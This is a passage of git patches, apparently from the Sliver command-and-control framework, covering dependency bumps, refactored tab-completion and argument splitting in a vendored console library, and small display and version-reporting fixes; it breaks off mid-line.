// and is regularly maintained up-to-date with upstream. Should be removed long-term. -replace github.com/rsteube/carapace v0.42.1 => github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194 +replace github.com/rsteube/carapace v0.43.0 => github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d // Team is the teamserver/teamclient library, and this directive should be removed. replace github.com/reeflective/team => /home/user/code/github.com/reeflective/team -replace github.com/reeflective/readline => /home/user/code/github.com/reeflective/readline - -//replace github.com/reeflective/console => /home/user/code/github.com/reeflective/console - require ( filippo.io/age v1.1.1 github.com/AlecAivazis/survey/v2 v2.3.7 @@ -152,7 +148,6 @@ require ( github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect github.com/rivo/uniseg v0.4.4 // indirect - github.com/rsteube/carapace-shlex v0.0.4 // indirect github.com/tailscale/certstore v0.1.1-0.20220316223106-78d6e1c49d8d // indirect github.com/tailscale/golang-x-crypto v0.0.0-20221115211329-17a3db2c30d2 // indirect github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 // indirect diff --git a/go.sum b/go.sum index e99618c340..db479f293f 100644 --- a/go.sum +++ b/go.sum @@ -339,12 +339,12 @@ github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZN github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9KahnJGfEsBPVPz3182TgFRowA8yY= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= -github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194 h1:Ibirru7u3sKdsKHQRQluOfwv/eXsw+v+r9h50cf1kU8= -github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= -github.com/reeflective/console v0.1.7-0.20230810163856-bb6bbfdcae4a h1:eH0mArXKs7CljsUX6dhN/+IJlhvQ2I0Mg0ku8Ah0Hao= -github.com/reeflective/console v0.1.7-0.20230810163856-bb6bbfdcae4a/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek= +github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d h1:RK0OaQs+3CMJnfXc5SNEg+Kbu4A2AVljPuG5/HcaUdM= +github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= github.com/reeflective/console v0.1.7 h1:nCuWfWv5x6B9T1XSko/2LdFQSftiwnE+NpNvKDFXw2I= github.com/reeflective/console v0.1.7/go.mod h1:hnei2839LkOh6N4m2rTx2Vx3QAVkF9X74BG7MKbIljs= +github.com/reeflective/readline v1.0.9 h1:ZA+V4HIWonwn8B4gUaaKwPtBogch19qgdk1I+hqULdk= +github.com/reeflective/readline v1.0.9/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY= github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= @@ -353,10 +353,6 @@ github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis= github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= -github.com/rsteube/carapace v0.43.0 h1:XFUouYcQxx/LNffsM7ivltFvBKGtawHieD1RvZ+vl2U= -github.com/rsteube/carapace v0.43.0/go.mod h1:1l4sZA+/sGW9sBLqEholUd+kn9xKgh2ghBFDYC3D/zA= -github.com/rsteube/carapace-shlex v0.0.4 h1:3GVn8PaM2RCxPTAiwVy9vDQI8Mi7DqrbdpDgf5ZzQmY= -github.com/rsteube/carapace-shlex v0.0.4/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= diff --git a/vendor/github.com/reeflective/console/commands/readline/bind.go b/vendor/github.com/reeflective/console/commands/readline/bind.go index 2af32deb5f..a370360d1c 100644 --- a/vendor/github.com/reeflective/console/commands/readline/bind.go +++ b/vendor/github.com/reeflective/console/commands/readline/bind.go @@ -6,11 +6,10 @@ import ( "os" "strings" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/reeflective/readline" "github.com/reeflective/readline/inputrc" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) // Bind returns a command named `bind`, for manipulating readline keymaps and bindings. diff --git a/vendor/github.com/reeflective/console/commands/readline/commands.go b/vendor/github.com/reeflective/console/commands/readline/commands.go index cb89c6c650..e3ec1bf03b 100644 --- a/vendor/github.com/reeflective/console/commands/readline/commands.go +++ b/vendor/github.com/reeflective/console/commands/readline/commands.go @@ -1,9 +1,8 @@ package readline import ( - "github.com/spf13/cobra" - "github.com/reeflective/readline" + "github.com/spf13/cobra" ) // Commands returns a command named `readline`, with subcommands dedicated diff --git a/vendor/github.com/reeflective/console/commands/readline/completers.go b/vendor/github.com/reeflective/console/commands/readline/completers.go index fa3ee06b69..c384db29e0 100644 --- a/vendor/github.com/reeflective/console/commands/readline/completers.go +++ b/vendor/github.com/reeflective/console/commands/readline/completers.go @@ -20,12 +20,12 @@ package readline import ( "fmt" - - "github.com/rsteube/carapace" - "github.com/spf13/cobra" + "strings" "github.com/reeflective/readline" "github.com/reeflective/readline/inputrc" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) func completeKeymaps(sh *readline.Shell, _ *cobra.Command) carapace.Action { @@ -60,22 +60,34 @@ func completeBindSequences(sh *readline.Shell, cmd *cobra.Command) carapace.Acti } // Make a list of all sequences bound to each command, with descriptions. - cmdBinds := make([]string, 0) - insertBinds := make([]string, 0) + var cmdBinds, insertBinds []string for key, bind := range binds { + val := inputrc.Escape(key) + if bind.Action == "self-insert" { - insertBinds = append(insertBinds, "\""+inputrc.Escape(key)+"\"") + insertBinds = append(insertBinds, val) } else { - cmdBinds = append(cmdBinds, "\""+inputrc.Escape(key)+"\"") + cmdBinds = append(cmdBinds, val) cmdBinds = append(cmdBinds, bind.Action) } } - return carapace.Batch( + // Build the list of bind sequences bompletions + completions := carapace.Batch( carapace.ActionValues(insertBinds...).Tag(fmt.Sprintf("self-insert binds (%s)", keymap)).Usage("sequence"), carapace.ActionValuesDescribed(cmdBinds...).Tag(fmt.Sprintf("non-insert binds (%s)", keymap)).Usage("sequence"), - ).ToA() + ).ToA().Suffix("\"") + + // We're lucky and be particularly cautious about completion here: + // Look for the current argument and check whether or not it's quoted. + // If yes, only include quotes at the end of the inserted value. + // If no quotes, include them in both. + if strings.HasPrefix(ctx.Value, "\"") || ctx.Value == "" { + completions = completions.Prefix("\"") + } + + return completions }) } diff --git a/vendor/github.com/reeflective/console/commands/readline/export.go b/vendor/github.com/reeflective/console/commands/readline/export.go index 67f70e9ff2..0030f15c8a 100644 --- a/vendor/github.com/reeflective/console/commands/readline/export.go +++ b/vendor/github.com/reeflective/console/commands/readline/export.go @@ -23,10 +23,9 @@ import ( "sort" "strings" - "github.com/spf13/cobra" - "github.com/reeflective/readline" "github.com/reeflective/readline/inputrc" + "github.com/spf13/cobra" ) const ( diff --git a/vendor/github.com/reeflective/console/commands/readline/set.go b/vendor/github.com/reeflective/console/commands/readline/set.go index ee0a2da046..39c1e51db2 100644 --- a/vendor/github.com/reeflective/console/commands/readline/set.go +++ b/vendor/github.com/reeflective/console/commands/readline/set.go @@ -5,14 +5,13 @@ import ( "strconv" "strings" + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" "golang.org/x/exp/maps" "golang.org/x/exp/slices" - - "github.com/reeflective/readline" - "github.com/reeflective/readline/inputrc" ) var ( diff --git a/vendor/github.com/reeflective/console/tab-completer.go b/vendor/github.com/reeflective/console/completer.go similarity index 65% rename from vendor/github.com/reeflective/console/tab-completer.go rename to vendor/github.com/reeflective/console/completer.go index 5418bdfc0b..374c6eaab7 100644 --- a/vendor/github.com/reeflective/console/tab-completer.go +++ b/vendor/github.com/reeflective/console/completer.go @@ -7,6 +7,7 @@ import ( "os" "regexp" "strings" + "unicode" "unicode/utf8" "github.com/reeflective/readline" @@ -20,17 +21,12 @@ func (c *Console) complete(line []rune, pos int) readline.Completions { // Split the line as shell words, only using // what the right buffer (up to the cursor) - rbuffer := line[:pos] - args, prefix := splitArgs(rbuffer) - args = sanitizeArgs(rbuffer, args) + args, prefixComp, prefixLine := splitArgs(line, pos) // Prepare arguments for the carapace completer // (we currently need those two dummies for avoiding a panic). args = append([]string{"examples", "_carapace"}, args...) - // Regenerate a new instance of the commands. - // menu.hideFilteredCommands(cmd) - // Call the completer with our current command context. values, meta := carapace.Complete(menu.Command, args, c.completeCommands(menu)) @@ -38,14 +34,13 @@ func (c *Console) complete(line []rune, pos int) readline.Completions { raw := make([]readline.Completion, len(values)) for idx, val := range values { - value := readline.Completion{ - Value: val.Value, + raw[idx] = readline.Completion{ + Value: unescapeValue(prefixComp, prefixLine, val.Value), Display: val.Display, Description: val.Description, Style: val.Style, Tag: val.Tag, } - raw[idx] = value } // Assign both completions and command/flags/args usage strings. @@ -58,66 +53,19 @@ func (c *Console) complete(line []rune, pos int) readline.Completions { comps = comps.NoSpace([]rune(meta.Nospace.String())...) } + // Other status/error messages + for _, msg := range meta.Messages.Get() { + comps = comps.Merge(readline.CompleteMessage(msg)) + } + // If we have a quote/escape sequence unaccounted // for in our completions, add it to all of them. - if prefix != "" { - comps = comps.Prefix(prefix) - } + comps = comps.Prefix(prefixComp) + comps.PREFIX = prefixLine return comps } -func splitArgs(line []rune) (args []string, prefix string) { - // Remove all colors from the string - line = []rune(strip(string(line))) - - // Split the line as shellwords, return them if all went fine. - args, remain, err := splitCompWords(string(line)) - if err == nil { - return args, remain - } - - // If we had an error, it's because we have an unterminated quote/escape sequence. - // In this case we split the remainder again, as the completer only ever considers - // words as space-separated chains of characters. - if errors.Is(err, errUnterminatedDoubleQuote) { - remain = strings.Trim(remain, "\"") - prefix = "\"" - } else if errors.Is(err, errUnterminatedSingleQuote) { - remain = strings.Trim(remain, "'") - prefix = "'" - } - - args = append(args, strings.Split(remain, " ")...) - - return -} - -func sanitizeArgs(rbuffer []rune, args []string) (sanitized []string) { - // Like in classic system shells, we need to add an empty - // argument if the last character is a space: the args - // returned from the previous call don't account for it. - if strings.HasSuffix(string(rbuffer), " ") || len(args) == 0 { - args = append(args, "") - } else if strings.HasSuffix(string(rbuffer), "\n") { - args = append(args, "") - } - - if len(args) == 0 { - return - } - - sanitized = args[:len(args)-1] - last := args[len(args)-1] - - // The last word should not comprise newlines. - last = strings.ReplaceAll(last, "\n", " ") - last = strings.ReplaceAll(last, "\\ ", " ") - sanitized = append(sanitized, last) - - return sanitized -} - // Regenerate commands and apply any filters. func (c *Console) completeCommands(menu *Menu) func() { commands := func() { @@ -175,6 +123,109 @@ func (c *Console) defaultStyleConfig() { style.Set("carapace.FlagOptArg", "bright-white") } +// splitArgs splits the line in valid words, prepares them in various ways before calling +// the completer with them, and also determines which parts of them should be used as +// prefixes, in the completions and/or in the line. +func splitArgs(line []rune, pos int) (args []string, prefixComp, prefixLine string) { + line = line[:pos] + + // Remove all colors from the string + line = []rune(strip(string(line))) + + // Split the line as shellwords, return them if all went fine. + args, remain, err := splitCompWords(string(line)) + + // We might have either no error and args, or no error and + // the cursor ready to complete a new word (last character + // in line is a space). + // In some of those cases we append a single dummy argument + // for the completer to understand we want a new word comp. + mustComplete, args, remain := mustComplete(line, args, remain, err) + if mustComplete { + return sanitizeArgs(args), "", remain + } + + // But the completion candidates themselves might need slightly + // different prefixes, for an optimal completion experience. + arg, prefixComp, prefixLine := adjustQuotedPrefix(remain, err) + + // The remainder is everything following the open charater. + // Pass it as is to the carapace completion engine. + args = append(args, arg) + + return sanitizeArgs(args), prefixComp, prefixLine +} + +func mustComplete(line []rune, args []string, remain string, err error) (bool, []string, string) { + dummyArg := "" + + // Empty command line, complete the root command. + if len(args) == 0 || len(line) == 0 { + return true, append(args, dummyArg), remain + } + + // If we have an error, we must handle it later. + if err != nil { + return false, args, remain + } + + lastChar := line[len(line)-1] + + // No remain and a trailing space means we want to complete + // for the next word, except when this last space was escaped. + if remain == "" && unicode.IsSpace(lastChar) { + if strings.HasSuffix(string(line), "\\ ") { + return true, args, args[len(args)-1] + } + + return true, append(args, dummyArg), remain + } + + // Else there is a character under the cursor, which means we are + // in the middle/at the end of a posentially completed word. + return true, args, remain +} + +func adjustQuotedPrefix(remain string, err error) (arg, comp, line string) { + arg = remain + + switch { + case errors.Is(err, errUnterminatedDoubleQuote): + comp = "\"" + line = comp + arg + case errors.Is(err, errUnterminatedSingleQuote): + comp = "'" + line = comp + arg + case errors.Is(err, errUnterminatedEscape): + arg = strings.ReplaceAll(arg, "\\", "") + } + + return arg, comp, line +} + +// sanitizeArg unescapes a restrained set of characters. +func sanitizeArgs(args []string) (sanitized []string) { + for _, arg := range args { + arg = replacer.Replace(arg) + sanitized = append(sanitized, arg) + } + + return sanitized +} + +// when the completer has returned us some completions, we sometimes +// needed to post-process them a little before passing them to our shell. +func unescapeValue(prefixComp, prefixLine, val string) string { + quoted := strings.HasPrefix(prefixLine, "\"") || + strings.HasPrefix(prefixLine, "'") + + if quoted { + val = strings.ReplaceAll(val, "\\ ", " ") + } + + return val +} + // split has been copied from go-shellquote and slightly modified so as to also // return the remainder when the parsing failed because of an unterminated quote. func splitCompWords(input string) (words []string, remainder string, err error) { @@ -206,8 +257,7 @@ func splitCompWords(input string) (words []string, remainder string, err error) word, input, err = splitCompWord(input, &buf) if err != nil { - remainder = input - return + return words, word + input, err } words = append(words, word) @@ -320,3 +370,9 @@ var re = regexp.MustCompile(ansi) func strip(str string) string { return re.ReplaceAllString(str, "") } + +var replacer = strings.NewReplacer( + "\n", ` `, + "\t", ` `, + "\\ ", " ", // User-escaped spaces in words. +) diff --git a/vendor/github.com/reeflective/console/syntax-highlighter.go b/vendor/github.com/reeflective/console/highlighter.go similarity index 100% rename from vendor/github.com/reeflective/console/syntax-highlighter.go rename to vendor/github.com/reeflective/console/highlighter.go diff --git a/vendor/github.com/reeflective/console/menu.go b/vendor/github.com/reeflective/console/menu.go index 49967455e5..2159719330 100644 --- a/vendor/github.com/reeflective/console/menu.go +++ b/vendor/github.com/reeflective/console/menu.go @@ -192,15 +192,17 @@ func (m *Menu) Printf(msg string, args ...any) (n int, err error) { return m.console.Printf(buf) } -// ErrUnavailableCommand checks if a target command is marked as filtered as per the console -// application registered/and or active filters (added with console.Hide/ShowCommand()), and -// if yes, returns a template-formatted error message showing the list of incompatible filters. -func (m *Menu) ErrUnavailableCommand(target *cobra.Command) error { - if target == nil { +// CheckIsAvailable checks if a target command is marked as filtered +// by the console application registered/and or active filters (added +// with console.Hide/ShowCommand()). +// If filtered, returns a template-formatted error message showing the +// list of incompatible filters. If not filtered, no error is returned. +func (m *Menu) CheckIsAvailable(cmd *cobra.Command) error { + if cmd == nil { return nil } - filters := m.ActiveFiltersFor(target) + filters := m.ActiveFiltersFor(cmd) if len(filters) == 0 { return nil } @@ -209,7 +211,7 @@ func (m *Menu) ErrUnavailableCommand(target *cobra.Command) error { err := tmpl(&bufErr, m.errorFilteredCommandTemplate(filters), map[string]interface{}{ "menu": m, - "cmd": target, + "cmd": cmd, "filters": filters, }) @@ -322,8 +324,7 @@ func (m *Menu) errorFilteredCommandTemplate(filters []string) string { } return `Command {{.cmd.Name}} is only available for: {{range .filters }} - - {{.}} -{{end}}` + - {{.}} {{end}}` } // tmpl executes the given template text on data, writing the result to w. diff --git a/vendor/github.com/reeflective/console/run.go b/vendor/github.com/reeflective/console/run.go index e6dc7bd3b8..b14a7df415 100644 --- a/vendor/github.com/reeflective/console/run.go +++ b/vendor/github.com/reeflective/console/run.go @@ -89,47 +89,25 @@ func (c *Console) Start() error { } } -// ExecuteOnce is a wrapper around the classic one-time cobra command execution. -// This call is thus blocking during the entire parsing and execution process -// of a command-line. -// -// This function should be useful if you have trees of commands that can -// be executed both in closed-loop applications or in a one-off exec style. -// Normally, most commands should, if your command behavior/API has no magic. -// -// The command line (os.Args) is matched against the currently active menu. -// Be sure to set and verify this menu before calling this function. -// This function also does not print any application logo. -func (c *Console) ExecuteOnce() error { - // Always ensure we work with the active menu, with freshly - // generated commands, bound prompts and some other things. - menu := c.activeMenu() - menu.resetPreRun() - - c.printed = false - - if c.NewlineBefore { - fmt.Println() - } - - // Run user-provided pre-run line hooks, - // which may modify the input line args. - args, err := c.runLineHooks(os.Args) - if err != nil { - return fmt.Errorf("line error: %s\n", err.Error()) - } +// RunCommandArgs is a convenience function to run a command line in a given menu. +// After running, the menu's commands are reset, and the prompts reloaded, therefore +// mostly mimicking the behavior that is the one of the normal readline/run/readline +// workflow. +// Although state segregation is a priority for this library to be ensured as much +// as possible, you should be cautious when using this function to run commands. +func (m *Menu) RunCommandArgs(args []string) (err error) { + // The menu used and reset is the active menu. + // Prepare its output buffer for the command. + m.resetPreRun() - // Run all pre-run hooks and the command itself - // Don't check the error: if its a cobra error, - // the library user is responsible for setting - // the cobra behavior. - // If it's an interrupt, we take care of it. - return c.execute(menu, args, false) + // Run the command and associated helpers. + return m.console.execute(m, args, !m.console.isExecuting) } -// RunCommand is a convenience function to run a command in a given menu. -// After running, the menu commands are reset, and the prompts reloaded. -func (m *Menu) RunCommand(line string) (err error) { +// RunCommandLine is the equivalent of menu.RunCommandArgs(), but accepts +// an unsplit command line to execute. This line is split and processed in +// *sh-compliant form, identically to how lines are in normal console usage. +func (m *Menu) RunCommandLine(line string) (err error) { if len(line) == 0 { return } @@ -140,12 +118,7 @@ func (m *Menu) RunCommand(line string) (err error) { return fmt.Errorf("line error: %w", err) } - // The menu used and reset is the active menu. - // Prepare its output buffer for the command. - m.resetPreRun() - - // Run the command and associated helpers. - return m.console.execute(m, args, !m.console.isExecuting) + return m.RunCommandArgs(args) } // execute - The user has entered a command input line, the arguments have been processed: @@ -173,7 +146,7 @@ func (c *Console) execute(menu *Menu, args []string, async bool) (err error) { // Find the target command: if this command is filtered, don't run it. target, _, _ := cmd.Find(args) - if err := menu.ErrUnavailableCommand(target); err != nil { + if err := menu.CheckIsAvailable(target); err != nil { return err } @@ -231,18 +204,6 @@ func (c *Console) executeCommand(cmd *cobra.Command, cancel context.CancelCauseF cancel(nil) } -// Generally, an empty command entered should just print a new prompt, -// unlike for classic CLI usage when the program will print its usage string. -// We simply remove any RunE from the root command, so that nothing is -// printed/executed by default. Pre/Post runs are still used if any. -func (c *Console) ensureNoRootRunner() { - if c.activeMenu().Command != nil { - c.activeMenu().RunE = func(cmd *cobra.Command, args []string) error { - return nil - } - } -} - func (c *Console) loadActiveHistories() { c.shell.History.Delete() diff --git a/vendor/github.com/reeflective/team/client/client.go b/vendor/github.com/reeflective/team/client/client.go index d391305563..ccfcb363d8 100644 --- a/vendor/github.com/reeflective/team/client/client.go +++ b/vendor/github.com/reeflective/team/client/client.go @@ -234,7 +234,7 @@ func (tc *Client) VersionClient() (ver team.Version, err error) { return ver, ErrNoTeamclient } - return + return tc.client.VersionClient() } // VersionServer returns the version information of the server to which diff --git a/vendor/github.com/reeflective/team/client/commands/version.go b/vendor/github.com/reeflective/team/client/commands/version.go index f5f59f0216..ec2bcca863 100644 --- a/vendor/github.com/reeflective/team/client/commands/version.go +++ b/vendor/github.com/reeflective/team/client/commands/version.go @@ -55,7 +55,7 @@ func versionCmd(cli *client.Client) func(cmd *cobra.Command, args []string) erro fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Server v%s - %s%s\n", serverSemVer, serverVer.Commit, dirty) // Client - clientVer, err := cli.Version() + clientVer, err := cli.VersionClient() if err != nil { fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Client error: %s\n", err) return nil diff --git a/vendor/modules.txt b/vendor/modules.txt index 2ff0cca93f..ec029eee00 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -515,11 +515,11 @@ github.com/pmezard/go-difflib/difflib # github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e ## explicit; go 1.16 github.com/psanford/memfs -# github.com/reeflective/console v0.1.7-0.20230810163856-bb6bbfdcae4a -## explicit; go 1.20 +# github.com/reeflective/console v0.1.7 +## explicit; go 1.21 github.com/reeflective/console github.com/reeflective/console/commands/readline -# github.com/reeflective/readline v1.0.8 => /home/user/code/github.com/reeflective/readline +# github.com/reeflective/readline v1.0.9 ## explicit; go 1.21 github.com/reeflective/readline github.com/reeflective/readline/inputrc @@ -556,7 +556,7 @@ github.com/remyoudompheng/bigfft # github.com/rivo/uniseg v0.4.4 ## explicit; go 1.18 github.com/rivo/uniseg -# github.com/rsteube/carapace v0.42.1 => github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194 +# github.com/rsteube/carapace v0.43.0 => github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d ## explicit; go 1.15 github.com/rsteube/carapace github.com/rsteube/carapace/internal/cache @@ -1267,4 +1267,3 @@ tailscale.com/wgengine/wgint tailscale.com/wgengine/wglog tailscale.com/wgengine/winnet # github.com/reeflective/team => /home/user/code/github.com/reeflective/team -# github.com/reeflective/readline => /home/user/code/github.com/reeflective/readline From 3355627516f97f4639b3314b26b54ff1febeed87 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 17 Aug 2023 05:59:52 +0200 Subject: [PATCH 087/124] Mostly display fixes and enhancements --- client/cli/implant.go | 12 ++++++------ client/command/creds/creds.go | 4 ++-- client/command/history/history.go | 5 ++++- client/console/events.go | 2 +- client/console/readline.go | 2 +- client/console/teamclient.go | 24 ++++++++++++++++++++++-- server/command/builder/builder.go | 15 ++++++++------- 7 files changed, 44 insertions(+), 20 deletions(-) diff --git a/client/cli/implant.go b/client/cli/implant.go index 2d235061d2..c98e32a6b9 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -80,17 +80,17 @@ func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) func(cmd session := con.GetSession(target) if session != nil { con.ActiveTarget.Set(session, nil) - } - - beacon := con.GetBeacon(target) - if beacon != nil { - con.ActiveTarget.Set(nil, beacon) + } else { + beacon := con.GetBeacon(target) + if beacon != nil { + con.ActiveTarget.Set(nil, beacon) + } } // If the command is marked filtered (should not be ran in // the current context/target), don't do anything and return. // This is identical to the filtering behavior in the console. - if err := con.App.ActiveMenu().ErrUnavailableCommand(cmd); err != nil { + if err := con.App.ActiveMenu().CheckIsAvailable(cmd); err != nil { return err } diff --git a/client/command/creds/creds.go b/client/command/creds/creds.go index 4cd7338859..1253416021 100644 --- a/client/command/creds/creds.go +++ b/client/command/creds/creds.go @@ -124,7 +124,7 @@ func CredsCollectionCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionMessage("failed to fetch credentials: %s", con.UnwrapServerErr(err)) } if len(creds.Credentials) == 0 { - return carapace.Action{} + return carapace.ActionMessage("No credentials in database") } for _, cred := range creds.Credentials { @@ -151,7 +151,7 @@ func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionMessage("failed to fetch credentials: %s", con.UnwrapServerErr(err)) } if len(creds.Credentials) == 0 { - return carapace.Action{} + return carapace.ActionMessage("No credentials in database") } for _, cred := range creds.Credentials { diff --git a/client/command/history/history.go b/client/command/history/history.go index 8578f909ca..27bba1cecf 100644 --- a/client/command/history/history.go +++ b/client/command/history/history.go @@ -24,6 +24,7 @@ import ( "time" "github.com/fatih/color" + "github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui" "github.com/spf13/cobra" "github.com/spf13/pflag" @@ -33,6 +34,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) +const sgrPrefix = "\033[" + // Commands returns all commands related to implant history. func Commands(con *console.SliverClient) []*cobra.Command { historyCmd := &cobra.Command{ @@ -78,7 +81,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { preLine := color.HiBlackString("%-3s", strconv.Itoa(i)) if !user { - preLine += fmt.Sprintf("%*s\t", 5, color.YellowString(command.User)) + preLine += fmt.Sprintf("%*s\t", 5, sgrPrefix+ui.ApplyStyling(ui.Style{}, ui.FgYellow).SGR()+"m"+command.User) } if showTime { preLine += color.BlueString(time.Unix(command.GetExecutedAt(), 0).Format(time.Stamp)) + "\t" diff --git a/client/console/events.go b/client/console/events.go index c9699412a8..42cb7b8812 100644 --- a/client/console/events.go +++ b/client/console/events.go @@ -202,7 +202,7 @@ func (con *SliverClient) triggerReactions(event *clientpb.Event) { for _, reaction := range reactions { for _, line := range reaction.Commands { con.PrintInfof(Bold+"Execute reaction: '%s'"+Normal, line) - err := con.App.ActiveMenu().RunCommand(line) + err := con.App.ActiveMenu().RunCommandLine(line) if err != nil { con.PrintErrorf("Reaction command error: %s\n", err) } diff --git a/client/console/readline.go b/client/console/readline.go index 578b69f8d4..ab701edb45 100644 --- a/client/console/readline.go +++ b/client/console/readline.go @@ -44,7 +44,7 @@ func (con *SliverClient) GetPrompt() string { prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal) } prompt += " > " - return Clearln + prompt + return prompt } // PrintLogo prints the Sliver console logo. diff --git a/client/console/teamclient.go b/client/console/teamclient.go index f703e54359..16b5da8408 100644 --- a/client/console/teamclient.go +++ b/client/console/teamclient.go @@ -21,10 +21,12 @@ package console import ( "context" "errors" + "runtime" "time" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/core" + "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/reeflective/team" @@ -46,7 +48,7 @@ func (con *SliverClient) ConnectRun(cmd *cobra.Command, _ []string) error { con.FilterCommands(cmd) // If commands are imcompatible with the current requirements. - err := con.App.ActiveMenu().ErrUnavailableCommand(cmd) + err := con.App.ActiveMenu().CheckIsAvailable(cmd) if err != nil { return err } @@ -158,9 +160,27 @@ func (con *SliverClient) Users() (users []team.User, err error) { return } +// Version implements team.Client.VersionClient() interface method, overriding +// the default teamclient version output to use our Makefile-prepared one. +func (con *SliverClient) VersionClient() (v team.Version, err error) { + dirty := version.GitDirty != "" + semVer := version.SemanticVersion() + compiled, _ := version.Compiled() + return team.Version{ + Major: int32(semVer[0]), + Minor: int32(semVer[1]), + Patch: int32(semVer[2]), + Commit: version.GitCommit, + Dirty: dirty, + CompiledAt: compiled.Unix(), + OS: runtime.GOOS, + Arch: runtime.GOARCH, + }, nil +} + // ServerVersion returns the version information of the server to which // the client is connected, or nil and an error if it could not retrieve it. -func (con *SliverClient) Version() (version team.Version, err error) { +func (con *SliverClient) VersionServer() (version team.Version, err error) { if con.Rpc == nil { return version, errors.New("No Sliver client RPC") } diff --git a/server/command/builder/builder.go b/server/command/builder/builder.go index b589d68a99..974ee9ee2c 100644 --- a/server/command/builder/builder.go +++ b/server/command/builder/builder.go @@ -25,7 +25,13 @@ import ( "runtime/debug" "strings" - "github.com/bishopfox/sliver/client/command/flags" + "github.com/reeflective/team/client" + "github.com/reeflective/team/client/commands" + "github.com/reeflective/team/server" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" @@ -34,11 +40,6 @@ import ( "github.com/bishopfox/sliver/server/builder" "github.com/bishopfox/sliver/server/generate" "github.com/bishopfox/sliver/server/log" - "github.com/reeflective/team/client" - "github.com/reeflective/team/client/commands" - "github.com/reeflective/team/server" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" ) var builderLog = log.NamedLogger("cli", "builder") @@ -74,7 +75,7 @@ func Commands(con *console.SliverClient, team *server.Server) []*cobra.Command { builderCmd.Flags().StringSlice(enableTargetFlagStr, []string{}, "force enable a target: format:goos/goarch") builderCmd.Flags().StringSlice(disableTargetFlagStr, []string{}, "force disable target arch: format:goos/goarch") - flags.BindFlagCompletions(builderCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(builderCmd, func(comp 